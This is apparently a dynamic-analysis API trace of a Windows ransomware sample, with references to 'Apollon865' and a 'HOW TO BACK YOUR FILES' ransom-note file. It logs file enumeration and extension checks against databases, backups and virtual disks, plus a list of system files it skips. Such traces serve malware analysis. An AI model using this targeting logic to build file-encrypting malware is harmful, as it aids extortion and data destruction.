	[0054.429] lstrcmpiW (lpString1="bury", lpString2="dlis") returned -1
	[0054.429] lstrlenW (lpString="dp1") returned 3
	[0054.429] lstrcmpiW (lpString1="ury", lpString2="dp1") returned 1
	[0054.429] lstrlenW (lpString="dqy") returned 3
	[0054.429] lstrcmpiW (lpString1="ury", lpString2="dqy") returned 1
	[0054.430] lstrlenW (lpString="dsk") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="dsk") returned 1
	[0054.430] lstrlenW (lpString="dsn") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="dsn") returned 1
	[0054.430] lstrlenW (lpString="dtsx") returned 4
	[0054.430] lstrcmpiW (lpString1="bury", lpString2="dtsx") returned -1
	[0054.430] lstrlenW (lpString="dxl") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="dxl") returned 1
	[0054.430] lstrlenW (lpString="eco") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="eco") returned 1
	[0054.430] lstrlenW (lpString="ecx") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="ecx") returned 1
	[0054.430] lstrlenW (lpString="edb") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="edb") returned 1
	[0054.430] lstrlenW (lpString="epim") returned 4
	[0054.430] lstrcmpiW (lpString1="bury", lpString2="epim") returned -1
	[0054.430] lstrlenW (lpString="fcd") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="fcd") returned 1
	[0054.430] lstrlenW (lpString="fdb") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="fdb") returned 1
	[0054.430] lstrlenW (lpString="fic") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="fic") returned 1
	[0054.430] lstrlenW (lpString="flexolibrary") returned 12
	[0054.430] lstrlenW (lpString="fm5") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="fm5") returned 1
	[0054.430] lstrlenW (lpString="fmp") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="fmp") returned 1
	[0054.430] lstrlenW (lpString="fmp12") returned 5
	[0054.430] lstrcmpiW (lpString1="rbury", lpString2="fmp12") returned 1
	[0054.430] lstrlenW (lpString="fmpsl") returned 5
	[0054.430] lstrcmpiW (lpString1="rbury", lpString2="fmpsl") returned 1
	[0054.430] lstrlenW (lpString="fol") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="fol") returned 1
	[0054.430] lstrlenW (lpString="fp3") returned 3
	[0054.430] lstrcmpiW (lpString1="ury", lpString2="fp3") returned 1
	[0054.431] lstrlenW (lpString="fp4") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="fp4") returned 1
	[0054.431] lstrlenW (lpString="fp5") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="fp5") returned 1
	[0054.431] lstrlenW (lpString="fp7") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="fp7") returned 1
	[0054.431] lstrlenW (lpString="fpt") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="fpt") returned 1
	[0054.431] lstrlenW (lpString="frm") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="frm") returned 1
	[0054.431] lstrlenW (lpString="gdb") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="gdb") returned 1
	[0054.431] lstrlenW (lpString="gdb") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="gdb") returned 1
	[0054.431] lstrlenW (lpString="grdb") returned 4
	[0054.431] lstrcmpiW (lpString1="bury", lpString2="grdb") returned -1
	[0054.431] lstrlenW (lpString="gwi") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="gwi") returned 1
	[0054.431] lstrlenW (lpString="hdb") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="hdb") returned 1
	[0054.431] lstrlenW (lpString="his") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="his") returned 1
	[0054.431] lstrlenW (lpString="ib") returned 2
	[0054.431] lstrcmpiW (lpString1="ry", lpString2="ib") returned 1
	[0054.431] lstrlenW (lpString="idb") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="idb") returned 1
	[0054.431] lstrlenW (lpString="ihx") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="ihx") returned 1
	[0054.431] lstrlenW (lpString="itdb") returned 4
	[0054.431] lstrcmpiW (lpString1="bury", lpString2="itdb") returned -1
	[0054.431] lstrlenW (lpString="itw") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="itw") returned 1
	[0054.431] lstrlenW (lpString="jet") returned 3
	[0054.431] lstrcmpiW (lpString1="ury", lpString2="jet") returned 1
	[0054.432] lstrlenW (lpString="jtx") returned 3
	[0054.432] lstrcmpiW (lpString1="ury", lpString2="jtx") returned 1
	[0054.432] lstrlenW (lpString="kdb") returned 3
	[0054.432] lstrcmpiW (lpString1="ury", lpString2="kdb") returned 1
	[0054.432] lstrlenW (lpString="kexi") returned 4
	[0054.432] lstrcmpiW (lpString1="bury", lpString2="kexi") returned -1
	[0054.432] lstrlenW (lpString="kexic") returned 5
	[0054.432] lstrcmpiW (lpString1="rbury", lpString2="kexic") returned 1
	[0054.432] lstrlenW (lpString="kexis") returned 5
	[0054.432] lstrcmpiW (lpString1="rbury", lpString2="kexis") returned 1
	[0054.432] lstrlenW (lpString="lgc") returned 3
	[0054.432] lstrcmpiW (lpString1="ury", lpString2="lgc") returned 1
	[0054.432] lstrlenW (lpString="lwx") returned 3
	[0054.432] lstrcmpiW (lpString1="ury", lpString2="lwx") returned 1
	[0054.432] lstrlenW (lpString="maf") returned 3
	[0054.432] lstrcmpiW (lpString1="ury", lpString2="maf") returned 1
	[0054.432] lstrlenW (lpString="maq") returned 3
	[0054.432] lstrcmpiW (lpString1="ury", lpString2="maq") returned 1
	[0054.432] lstrlenW (lpString="mar") returned 3
	[0054.432] lstrcmpiW (lpString1="ury", lpString2="mar") returned 1
	[0054.432] lstrlenW (lpString="marshal") returned 7
	[0054.432] lstrcmpiW (lpString1="derbury", lpString2="marshal") returned -1
	[0054.432] lstrlenW (lpString="mas") returned 3
	[0054.432] lstrcmpiW (lpString1="ury", lpString2="mas") returned 1
	[0054.432] lstrlenW (lpString="mav") returned 3
	[0054.432] lstrcmpiW (lpString1="ury", lpString2="mav") returned 1
	[0054.432] lstrlenW (lpString="maw") returned 3
	[0054.432] lstrcmpiW (lpString1="ury", lpString2="maw") returned 1
	[0054.432] lstrlenW (lpString="mdbhtml") returned 7
	[0054.432] lstrcmpiW (lpString1="derbury", lpString2="mdbhtml") returned -1
	[0054.432] lstrlenW (lpString="mdn") returned 3
	[0054.432] lstrcmpiW (lpString1="ury", lpString2="mdn") returned 1
	[0054.432] lstrlenW (lpString="mdt") returned 3
	[0054.432] lstrcmpiW (lpString1="ury", lpString2="mdt") returned 1
	[0054.432] lstrlenW (lpString="mfd") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="mfd") returned 1
	[0054.433] lstrlenW (lpString="mpd") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="mpd") returned 1
	[0054.433] lstrlenW (lpString="mrg") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="mrg") returned 1
	[0054.433] lstrlenW (lpString="mud") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="mud") returned 1
	[0054.433] lstrlenW (lpString="mwb") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="mwb") returned 1
	[0054.433] lstrlenW (lpString="myd") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="myd") returned 1
	[0054.433] lstrlenW (lpString="ndf") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="ndf") returned 1
	[0054.433] lstrlenW (lpString="nnt") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="nnt") returned 1
	[0054.433] lstrlenW (lpString="nrmlib") returned 6
	[0054.433] lstrcmpiW (lpString1="erbury", lpString2="nrmlib") returned -1
	[0054.433] lstrlenW (lpString="ns2") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="ns2") returned 1
	[0054.433] lstrlenW (lpString="ns3") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="ns3") returned 1
	[0054.433] lstrlenW (lpString="ns4") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="ns4") returned 1
	[0054.433] lstrlenW (lpString="nsf") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="nsf") returned 1
	[0054.433] lstrlenW (lpString="nv") returned 2
	[0054.433] lstrcmpiW (lpString1="ry", lpString2="nv") returned 1
	[0054.433] lstrlenW (lpString="nv2") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="nv2") returned 1
	[0054.433] lstrlenW (lpString="nwdb") returned 4
	[0054.433] lstrcmpiW (lpString1="bury", lpString2="nwdb") returned -1
	[0054.433] lstrlenW (lpString="nyf") returned 3
	[0054.433] lstrcmpiW (lpString1="ury", lpString2="nyf") returned 1
	[0054.434] lstrlenW (lpString="odb") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="odb") returned 1
	[0054.434] lstrlenW (lpString="odb") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="odb") returned 1
	[0054.434] lstrlenW (lpString="oqy") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="oqy") returned 1
	[0054.434] lstrlenW (lpString="ora") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="ora") returned 1
	[0054.434] lstrlenW (lpString="orx") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="orx") returned 1
	[0054.434] lstrlenW (lpString="owc") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="owc") returned 1
	[0054.434] lstrlenW (lpString="p96") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="p96") returned 1
	[0054.434] lstrlenW (lpString="p97") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="p97") returned 1
	[0054.434] lstrlenW (lpString="pan") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="pan") returned 1
	[0054.434] lstrlenW (lpString="pdb") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="pdb") returned 1
	[0054.434] lstrlenW (lpString="pdm") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="pdm") returned 1
	[0054.434] lstrlenW (lpString="pnz") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="pnz") returned 1
	[0054.434] lstrlenW (lpString="qry") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="qry") returned 1
	[0054.434] lstrlenW (lpString="qvd") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="qvd") returned 1
	[0054.434] lstrlenW (lpString="rbf") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="rbf") returned 1
	[0054.434] lstrlenW (lpString="rctd") returned 4
	[0054.434] lstrcmpiW (lpString1="bury", lpString2="rctd") returned -1
	[0054.434] lstrlenW (lpString="rod") returned 3
	[0054.434] lstrcmpiW (lpString1="ury", lpString2="rod") returned 1
	[0054.434] lstrlenW (lpString="rodx") returned 4
	[0054.435] lstrcmpiW (lpString1="bury", lpString2="rodx") returned -1
	[0054.435] lstrlenW (lpString="rpd") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="rpd") returned 1
	[0054.435] lstrlenW (lpString="rsd") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="rsd") returned 1
	[0054.435] lstrlenW (lpString="sas7bdat") returned 8
	[0054.435] lstrcmpiW (lpString1="nderbury", lpString2="sas7bdat") returned -1
	[0054.435] lstrlenW (lpString="sbf") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="sbf") returned 1
	[0054.435] lstrlenW (lpString="scx") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="scx") returned 1
	[0054.435] lstrlenW (lpString="sdb") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="sdb") returned 1
	[0054.435] lstrlenW (lpString="sdc") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="sdc") returned 1
	[0054.435] lstrlenW (lpString="sdf") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="sdf") returned 1
	[0054.435] lstrlenW (lpString="sis") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="sis") returned 1
	[0054.435] lstrlenW (lpString="spq") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="spq") returned 1
	[0054.435] lstrlenW (lpString="te") returned 2
	[0054.435] lstrcmpiW (lpString1="ry", lpString2="te") returned -1
	[0054.435] lstrlenW (lpString="teacher") returned 7
	[0054.435] lstrcmpiW (lpString1="derbury", lpString2="teacher") returned -1
	[0054.435] lstrlenW (lpString="tmd") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="tmd") returned 1
	[0054.435] lstrlenW (lpString="tps") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="tps") returned 1
	[0054.435] lstrlenW (lpString="trc") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="trc") returned 1
	[0054.435] lstrlenW (lpString="trc") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="trc") returned 1
	[0054.435] lstrlenW (lpString="trm") returned 3
	[0054.435] lstrcmpiW (lpString1="ury", lpString2="trm") returned 1
	[0054.436] lstrlenW (lpString="udb") returned 3
	[0054.436] lstrcmpiW (lpString1="ury", lpString2="udb") returned 1
	[0054.436] lstrlenW (lpString="udl") returned 3
	[0054.436] lstrcmpiW (lpString1="ury", lpString2="udl") returned 1
	[0054.436] lstrlenW (lpString="usr") returned 3
	[0054.436] lstrcmpiW (lpString1="ury", lpString2="usr") returned -1
	[0054.436] lstrlenW (lpString="v12") returned 3
	[0054.436] lstrcmpiW (lpString1="ury", lpString2="v12") returned -1
	[0054.436] lstrlenW (lpString="vis") returned 3
	[0054.436] lstrcmpiW (lpString1="ury", lpString2="vis") returned -1
	[0054.436] lstrlenW (lpString="vpd") returned 3
	[0054.436] lstrcmpiW (lpString1="ury", lpString2="vpd") returned -1
	[0054.436] lstrlenW (lpString="vvv") returned 3
	[0054.436] lstrcmpiW (lpString1="ury", lpString2="vvv") returned -1
	[0054.436] lstrlenW (lpString="wdb") returned 3
	[0054.436] lstrcmpiW (lpString1="ury", lpString2="wdb") returned -1
	[0054.436] lstrlenW (lpString="wmdb") returned 4
	[0054.436] lstrcmpiW (lpString1="bury", lpString2="wmdb") returned -1
	[0054.436] lstrlenW (lpString="wrk") returned 3
	[0054.436] lstrcmpiW (lpString1="ury", lpString2="wrk") returned -1
	[0054.436] lstrlenW (lpString="xdb") returned 3
	[0054.436] lstrcmpiW (lpString1="ury", lpString2="xdb") returned -1
	[0054.436] lstrlenW (lpString="xld") returned 3
	[0054.436] lstrcmpiW (lpString1="ury", lpString2="xld") returned -1
	[0054.436] lstrlenW (lpString="xmlff") returned 5
	[0054.436] lstrcmpiW (lpString1="rbury", lpString2="xmlff") returned -1
	[0054.436] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fakaofo", cAlternateFileName="")) returned 1
	[0054.436] lstrcmpiW (lpString1="Fakaofo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.436] lstrcmpiW (lpString1="Fakaofo", lpString2="Apollon865.txt.exe") returned 1
	[0054.436] lstrcmpiW (lpString1="Fakaofo", lpString2=".") returned 1
	[0054.436] lstrcmpiW (lpString1="Fakaofo", lpString2="..") returned 1
	[0054.436] lstrcmpiW (lpString1="Fakaofo", lpString2="windows") returned -1
	[0054.436] lstrcmpiW (lpString1="Fakaofo", lpString2="bootmgr") returned 1
	[0054.436] lstrcmpiW (lpString1="Fakaofo", lpString2="temp") returned -1
	[0054.436] lstrcmpiW (lpString1="Fakaofo", lpString2="pagefile.sys") returned -1
	[0054.437] lstrcmpiW (lpString1="Fakaofo", lpString2="boot") returned 1
	[0054.437] lstrcmpiW (lpString1="Fakaofo", lpString2="ids.txt") returned -1
	[0054.437] lstrcmpiW (lpString1="Fakaofo", lpString2="ntuser.dat") returned -1
	[0054.437] lstrcmpiW (lpString1="Fakaofo", lpString2="perflogs") returned -1
	[0054.437] lstrcmpiW (lpString1="Fakaofo", lpString2="MSBuild") returned -1
	[0054.437] lstrlenW (lpString="Fakaofo") returned 7
	[0054.437] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Enderbury") returned 57
	[0054.437] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Fakaofo" | out: lpString1="Fakaofo") returned="Fakaofo"
	[0054.437] lstrlenW (lpString="Fakaofo") returned 7
	[0054.437] lstrlenW (lpString="Apollon865") returned 10
	[0054.437] lstrlenW (lpString=".dll") returned 4
	[0054.437] lstrcmpiW (lpString1="Fakaofo", lpString2=".dll") returned 1
	[0054.437] lstrlenW (lpString=".lnk") returned 4
	[0054.437] lstrcmpiW (lpString1="Fakaofo", lpString2=".lnk") returned 1
	[0054.437] lstrlenW (lpString=".ini") returned 4
	[0054.437] lstrcmpiW (lpString1="Fakaofo", lpString2=".ini") returned 1
	[0054.437] lstrlenW (lpString=".sys") returned 4
	[0054.437] lstrcmpiW (lpString1="Fakaofo", lpString2=".sys") returned 1
	[0054.437] lstrlenW (lpString="Fakaofo") returned 7
	[0054.437] lstrlenW (lpString="bak") returned 3
	[0054.437] lstrcmpiW (lpString1="ofo", lpString2="bak") returned 1
	[0054.437] lstrlenW (lpString="ba_") returned 3
	[0054.437] lstrcmpiW (lpString1="ofo", lpString2="ba_") returned 1
	[0054.437] lstrlenW (lpString="dbb") returned 3
	[0054.437] lstrcmpiW (lpString1="ofo", lpString2="dbb") returned 1
	[0054.437] lstrlenW (lpString="vmdk") returned 4
	[0054.437] lstrcmpiW (lpString1="aofo", lpString2="vmdk") returned -1
	[0054.437] lstrlenW (lpString="rar") returned 3
	[0054.437] lstrcmpiW (lpString1="ofo", lpString2="rar") returned -1
	[0054.437] lstrlenW (lpString="zip") returned 3
	[0054.437] lstrcmpiW (lpString1="ofo", lpString2="zip") returned -1
	[0054.437] lstrlenW (lpString="tgz") returned 3
	[0054.437] lstrcmpiW (lpString1="ofo", lpString2="tgz") returned -1
	[0054.438] lstrlenW (lpString="vbox") returned 4
	[0054.438] lstrcmpiW (lpString1="aofo", lpString2="vbox") returned -1
	[0054.438] lstrlenW (lpString="vdi") returned 3
	[0054.438] lstrcmpiW (lpString1="ofo", lpString2="vdi") returned -1
	[0054.438] lstrlenW (lpString="vhd") returned 3
	[0054.438] lstrcmpiW (lpString1="ofo", lpString2="vhd") returned -1
	[0054.438] lstrlenW (lpString="vhdx") returned 4
	[0054.438] lstrcmpiW (lpString1="aofo", lpString2="vhdx") returned -1
	[0054.438] lstrlenW (lpString="avhd") returned 4
	[0054.438] lstrcmpiW (lpString1="aofo", lpString2="avhd") returned -1
	[0054.438] lstrlenW (lpString="db") returned 2
	[0054.438] lstrcmpiW (lpString1="fo", lpString2="db") returned 1
	[0054.438] lstrlenW (lpString="db2") returned 3
	[0054.438] lstrcmpiW (lpString1="ofo", lpString2="db2") returned 1
	[0054.438] lstrlenW (lpString="db3") returned 3
	[0054.438] lstrcmpiW (lpString1="ofo", lpString2="db3") returned 1
	[0054.438] lstrlenW (lpString="dbf") returned 3
	[0054.438] lstrcmpiW (lpString1="ofo", lpString2="dbf") returned 1
	[0054.438] lstrlenW (lpString="mdf") returned 3
	[0054.438] lstrcmpiW (lpString1="ofo", lpString2="mdf") returned 1
	[0054.438] lstrlenW (lpString="mdb") returned 3
	[0054.438] lstrcmpiW (lpString1="ofo", lpString2="mdb") returned 1
	[0054.438] lstrlenW (lpString="sql") returned 3
	[0054.438] lstrcmpiW (lpString1="ofo", lpString2="sql") returned -1
	[0054.438] lstrlenW (lpString="sqlite") returned 6
	[0054.438] lstrcmpiW (lpString1="akaofo", lpString2="sqlite") returned -1
	[0054.438] lstrlenW (lpString="sqlite3") returned 7
	[0054.438] lstrlenW (lpString="sqlitedb") returned 8
	[0054.438] lstrlenW (lpString="xml") returned 3
	[0054.438] lstrcmpiW (lpString1="ofo", lpString2="xml") returned -1
	[0054.438] lstrlenW (lpString="$er") returned 3
	[0054.438] lstrcmpiW (lpString1="ofo", lpString2="$er") returned 1
	[0054.438] lstrlenW (lpString="4dd") returned 3
	[0054.438] lstrcmpiW (lpString1="ofo", lpString2="4dd") returned 1
	[0054.439] lstrlenW (lpString="4dl") returned 3
	[0054.439] lstrcmpiW (lpString1="ofo", lpString2="4dl") returned 1
	[0054.439] lstrlenW (lpString="^^^") returned 3
	[0054.439] lstrcmpiW (lpString1="ofo", lpString2="^^^") returned 1
	[0054.439] lstrlenW (lpString="abs") returned 3
	[0054.439] lstrcmpiW (lpString1="ofo", lpString2="abs") returned 1
	[0054.439] lstrlenW (lpString="abx") returned 3
	[0054.439] lstrcmpiW (lpString1="ofo", lpString2="abx") returned 1
	[0054.439] lstrlenW (lpString="accdb") returned 5
	[0054.439] lstrcmpiW (lpString1="kaofo", lpString2="accdb") returned 1
	[0054.439] lstrlenW (lpString="accdc") returned 5
	[0054.439] lstrcmpiW (lpString1="kaofo", lpString2="accdc") returned 1
	[0054.439] lstrlenW (lpString="accde") returned 5
	[0054.439] lstrcmpiW (lpString1="kaofo", lpString2="accde") returned 1
	[0054.439] lstrlenW (lpString="accdr") returned 5
	[0054.439] lstrcmpiW (lpString1="kaofo", lpString2="accdr") returned 1
	[0054.439] lstrlenW (lpString="accdt") returned 5
	[0054.439] lstrcmpiW (lpString1="kaofo", lpString2="accdt") returned 1
	[0054.439] lstrlenW (lpString="accdw") returned 5
	[0054.439] lstrcmpiW (lpString1="kaofo", lpString2="accdw") returned 1
	[0054.439] lstrlenW (lpString="accft") returned 5
	[0054.439] lstrcmpiW (lpString1="kaofo", lpString2="accft") returned 1
	[0054.439] lstrlenW (lpString="adb") returned 3
	[0054.439] lstrcmpiW (lpString1="ofo", lpString2="adb") returned 1
	[0054.439] lstrlenW (lpString="adb") returned 3
	[0054.439] lstrcmpiW (lpString1="ofo", lpString2="adb") returned 1
	[0054.439] lstrlenW (lpString="ade") returned 3
	[0054.439] lstrcmpiW (lpString1="ofo", lpString2="ade") returned 1
	[0054.439] lstrlenW (lpString="adf") returned 3
	[0054.439] lstrcmpiW (lpString1="ofo", lpString2="adf") returned 1
	[0054.439] lstrlenW (lpString="adn") returned 3
	[0054.439] lstrcmpiW (lpString1="ofo", lpString2="adn") returned 1
	[0054.439] lstrlenW (lpString="adp") returned 3
	[0054.439] lstrcmpiW (lpString1="ofo", lpString2="adp") returned 1
	[0054.439] lstrlenW (lpString="alf") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="alf") returned 1
	[0054.440] lstrlenW (lpString="ask") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="ask") returned 1
	[0054.440] lstrlenW (lpString="btr") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="btr") returned 1
	[0054.440] lstrlenW (lpString="cat") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="cat") returned 1
	[0054.440] lstrlenW (lpString="cdb") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="cdb") returned 1
	[0054.440] lstrlenW (lpString="ckp") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="ckp") returned 1
	[0054.440] lstrlenW (lpString="cma") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="cma") returned 1
	[0054.440] lstrlenW (lpString="cpd") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="cpd") returned 1
	[0054.440] lstrlenW (lpString="dacpac") returned 6
	[0054.440] lstrcmpiW (lpString1="akaofo", lpString2="dacpac") returned -1
	[0054.440] lstrlenW (lpString="dad") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="dad") returned 1
	[0054.440] lstrlenW (lpString="dadiagrams") returned 10
	[0054.440] lstrlenW (lpString="daschema") returned 8
	[0054.440] lstrlenW (lpString="db-journal") returned 10
	[0054.440] lstrlenW (lpString="db-shm") returned 6
	[0054.440] lstrcmpiW (lpString1="akaofo", lpString2="db-shm") returned -1
	[0054.440] lstrlenW (lpString="db-wal") returned 6
	[0054.440] lstrcmpiW (lpString1="akaofo", lpString2="db-wal") returned -1
	[0054.440] lstrlenW (lpString="dbc") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="dbc") returned 1
	[0054.440] lstrlenW (lpString="dbs") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="dbs") returned 1
	[0054.440] lstrlenW (lpString="dbt") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="dbt") returned 1
	[0054.440] lstrlenW (lpString="dbv") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="dbv") returned 1
	[0054.440] lstrlenW (lpString="dbx") returned 3
	[0054.440] lstrcmpiW (lpString1="ofo", lpString2="dbx") returned 1
	[0054.441] lstrlenW (lpString="dcb") returned 3
	[0054.441] lstrcmpiW (lpString1="ofo", lpString2="dcb") returned 1
	[0054.441] lstrcmpiW (lpString1="ofo", lpString2="dct") returned 1
	[0054.441] lstrcmpiW (lpString1="ofo", lpString2="dcx") returned 1
	[0054.441] lstrcmpiW (lpString1="ofo", lpString2="ddl") returned 1
	[0054.441] lstrcmpiW (lpString1="aofo", lpString2="dlis") returned -1
	[0054.441] lstrcmpiW (lpString1="ofo", lpString2="dp1") returned 1
	[0054.441] lstrcmpiW (lpString1="ofo", lpString2="dqy") returned 1
	[0054.441] lstrcmpiW (lpString1="ofo", lpString2="dsk") returned 1
	[0054.441] lstrcmpiW (lpString1="ofo", lpString2="dsn") returned 1
	[0054.441] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Fiji" | out: lpString1="Fiji") returned="Fiji"
	[0054.441] lstrlenW (lpString="Fiji") returned 4
	[0054.441] lstrlenW (lpString="Apollon865") returned 10
	[0054.441] lstrlenW (lpString=".dll") returned 4
	[0054.441] lstrlenW (lpString=".lnk") returned 4
	[0054.441] lstrlenW (lpString=".ini") returned 4
	[0054.441] lstrlenW (lpString=".sys") returned 4
	[0054.441] lstrlenW (lpString="Fiji") returned 4
	[0054.441] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Funafuti" | out: lpString1="Funafuti") returned="Funafuti"
	[0054.441] lstrlenW (lpString="Funafuti") returned 8
	[0054.441] lstrlenW (lpString="Apollon865") returned 10
	[0054.441] lstrlenW (lpString=".dll") returned 4
	[0054.442] lstrcmpiW (lpString1="Funafuti", lpString2=".dll") returned 1
	[0054.442] lstrlenW (lpString=".lnk") returned 4
	[0054.442] lstrcmpiW (lpString1="Funafuti", lpString2=".lnk") returned 1
	[0054.442] lstrlenW (lpString=".ini") returned 4
	[0054.442] lstrcmpiW (lpString1="Funafuti", lpString2=".ini") returned 1
	[0054.442] lstrlenW (lpString=".sys") returned 4
	[0054.442] lstrcmpiW (lpString1="Funafuti", lpString2=".sys") returned 1
	[0054.442] lstrlenW (lpString="Funafuti") returned 8
	[0054.442] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Galapagos" | out: lpString1="Galapagos") returned="Galapagos"
	[0054.442] lstrlenW (lpString="Galapagos") returned 9
	[0054.442] lstrlenW (lpString="Apollon865") returned 10
	[0054.442] lstrlenW (lpString=".dll") returned 4
	[0054.442] lstrcmpiW (lpString1="Galapagos", lpString2=".dll") returned 1
	[0054.442] lstrlenW (lpString=".lnk") returned 4
	[0054.442] lstrcmpiW (lpString1="Galapagos", lpString2=".lnk") returned 1
	[0054.442] lstrlenW (lpString=".ini") returned 4
	[0054.442] lstrcmpiW (lpString1="Galapagos", lpString2=".ini") returned 1
	[0054.442] lstrlenW (lpString=".sys") returned 4
	[0054.442] lstrcmpiW (lpString1="Galapagos", lpString2=".sys") returned 1
	[0054.442] lstrlenW (lpString="Galapagos") returned 9
	[0054.442] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Gambier" | out: lpString1="Gambier") returned="Gambier"
	[0054.442] lstrlenW (lpString="Gambier") returned 7
	[0054.442] lstrlenW (lpString="Apollon865") returned 10
	[0054.442] lstrlenW (lpString=".dll") returned 4
	[0054.442] lstrcmpiW (lpString1="Gambier", lpString2=".dll") returned 1
	[0054.442] lstrlenW (lpString=".lnk") returned 4
	[0054.442] lstrcmpiW (lpString1="Gambier", lpString2=".lnk") returned 1
	[0054.442] lstrlenW (lpString=".ini") returned 4
	[0054.442] lstrcmpiW (lpString1="Gambier", lpString2=".ini") returned 1
	[0054.442] lstrlenW (lpString=".sys") returned 4
	[0054.442] lstrcmpiW (lpString1="Gambier", lpString2=".sys") returned 1
	[0054.443] lstrlenW (lpString="Gambier") returned 7
	[0054.443] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Guadalcanal" | out: lpString1="Guadalcanal") returned="Guadalcanal"
